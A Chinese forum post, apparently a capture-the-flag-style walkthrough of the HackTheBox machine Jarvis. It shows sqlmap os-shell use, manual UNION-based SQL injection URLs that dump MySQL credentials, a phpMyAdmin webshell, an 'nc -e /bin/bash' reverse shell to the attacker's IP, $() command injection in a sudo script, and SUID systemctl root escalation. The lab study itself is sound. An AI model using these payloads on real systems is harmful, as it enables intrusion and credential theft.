用户
搜索
  • TA的每日心情
    奋斗
    6 天前
  • 签到天数: 123 天

    连续签到: 2 天

    [LV.7]常住居民III

    i春秋-核心白帽

    Rank: 4

    57

    主题

    76

    帖子

    2694

    魔法币
    收听
    0
    粉丝
    9
    注册时间
    2020-7-23
    发表于 2021-2-20 19:45:03 35250
    0x00:靶机介绍
    这次的靶机是Jarvis。很适合练手,前面拿shell难度一般。难点在提权
    0.png
    0x01:信息收集
    这里我先用autorecon进行信息收集。Autorecon集成nmap,nikto等操作可以比较全面的进行端口扫描。用法也比较简单只需要python autrecon.py IP就可以了
    1.png
    同时会把报告保存成txt文件打开report即可,这次开了22和80端口
    2.png
    访问80端口正常回显,无需添加host文件。
    2.5.png
    下一步开始用dirbuster挖掘目录信息,这次居然有一个phpmyadmin还有一些其它js,css页面。
    3.png

    0x02:利用工具getshell一条龙
    往下拉然后再随机打开一个页面经典的?xxx=1
    4.png
    肌肉里面的sqlmap果断激活了,然而这个靶机是有WAF的,这个WAF有点奇怪。你用sqlmap搞普通注入封你90S。但是你用sqlmap直接—os-shell(对注入成功的网站尝试写shell)顺便加个batch(自动填充)直接一步到位
    sqlmap1.png
    最后直接出现个os-shell代表成功同时输入whoami等命令皆可执行成功
    sqlmap2.png
    但sqlmap的shell有时候输入其它的命令会进入死机状态不会回显所以需要添加一个新的反弹shell。由于目标是一个Linux靶机一般都配有python所以我们可以参考一波这个各种语言shell大全其中的python shell
    https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python
    sqlmap3.png
    这里要稍微修改以下IP和一个新的端口
    sqlmap4.png
    同时需要开启nc可以得到一个新的稳定shell
    sqlmap5.png
    0x03:手工注入到getshell
    手工注入对于脚本小子而言是一件比较折磨的事。毕竟以前都是sqlmap跑,有WAF提高level级别。不行就下一个更容易。现在重新复习回显错注入了。手工注入这部分比较啰嗦和长可以跳过这部分。
    这里首先用最简单的不加任何单引号双引号括号屏蔽用and 1=1测试
    10.10.10.143/room.php?cod=1 and 1=1#正常
    5.png

    而换成1=2不正常实锤有注入
    10.10.10.143/room.php?cod=1 and 1=2#不正常
    5.5.png

    接下来就是用order by测试
    10.10.10.143/room.php?cod=1 order by 7#正常
    10.10.10.143/room.php?cod=1 order by 8#不正常
    6.png

    确认好字段数为7以后需要用到union来爆破显错位,当然还是比较多的。
    10.10.10.143/room.php?cod=1 union select 1,2,3,4,5,6,7#无报错点位
    10.10.10.143/room.php?cod=-100 union select 1,2,3,4,5,6,7#有报错点位
    7.png

    开始进入查数据库名阶段在2,3,4,5皆可把数字替换成关键词进行查询。这里我选择输出2作为替换点换成database()爆出一个数据库名出来
    10.10.10.143/room.php?cod=-100 union select 1,database(),3,4,5,6,7#得到一个数据库
    8.png
    这里我喜欢用group_concat功能直接把所有数据库名都给拖出来
    10.10.10.143/room.php?cod=-100 union select 1,group_concat(schema_name),3,4,5,6,7 from information_schema.schemata#得到所有数据库名
    8.5.png

    这里选择mysql库查看里面的内容(hotel里面的内容并不重要重要的是mysql库)。这里还是用group_concat,由于表太多了,只能复制到文本里面。重要的是最后面有一个user表
    http://10.10.10.143/room.php?cod=-100 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='mysql'#查询mysql数据库里面的内容
    9.png

    开始查询user表里面的内容里面有2个关键词User和Password果断选择它们
    http://10.10.10.143/room.php?cod=-100 union all select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='user'#查询user表里面的所有字段内容
    10.png

    最后只得到一个账号和密码
    http://10.10.10.143/room.php?cod=-100 union all select 1,group_concat(User,Password),3,4,5,6,7 from mysql.user#查询所有user表里面所有关于User和Password字段的内容
    11.png

    找一个MD5在线解密成功芜湖
    12.png

    此时拿着我们的DBadmin和imissyou密码可以登录phpmyadmin。同时我们可以点击SQL写一句话木马进去。由于是Linux靶机可以大概确定绝对路径为/var/www/html
    13.png
    此时在前端访问成功
    14.png
    此时把语句换为nc-e /bin/bash 10.10.14.23 6666 ,提前开启nc成功接收shell
    15.png
    0x04:提权变成正常用户
    开始使用sudo -l发现一个pepper可执行的Python程序。懂了靶机主人的任务罢了
    16.png
    先cd过去用cat看看里面的内容可用ping IP命令,多半可能存在命令执行
    17.png
    同时存在一些过滤符号。但这里没过滤全。比如$(命令)这条漏网之鱼不在那我们就可以利用了。
    18.png
    写一个.sh文件里面包含基础的反弹语句然后利用python模式开启共享模式(不用php的原因是传不上去..)
    18.5.png
    然后我们苟到/tmp目录下把文件接过来。记得用chmod 777给权限。否则可能运行不了。
    19.png
    开始运行该脚本先输入-p然后输入一个正常的IP后面开始用$()运行我们的反弹脚本
    20.png
    提前开启nc成功接收shell同时可以读取第一个flag。
    21.png
    0x05:二次提权
    这次sudo -l倒了只能换成find找找特殊权限,看到一个systemctl
    22.png
    关于提权信息可以参考gtfobin。但这个网站需要小小的魔法帮助。
    gtfobin.png

    但需要有亿点点的更改。有个问题就是我们这次运行的systemctl 是运行一个.service文件类型的东西。有点像文本一样所以首先排除echo。其实在ExecStart那个变量最好更改成一个shell这样方便点。(这里我用回上面的python shell)。最后不需要变量$IF
    23.png
    再次用wget传上去以后一定要用link连接否则执行不了。现在开始启动
    24.png
    此时提前开好nc成功接回root的shell提权成功
    25.png

    Bastard属实折磨,三过而打不进去。。。。。

    公众号:神隐(咸鱼)攻防实验室希望各位大佬能关注一波
    我来催更了,大佬~
    使用道具 举报 回复
    我来催更了,大佬~
    使用道具 举报 回复
    皮卡皮卡~   期待第十篇  我去参考第九篇玩玩看
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册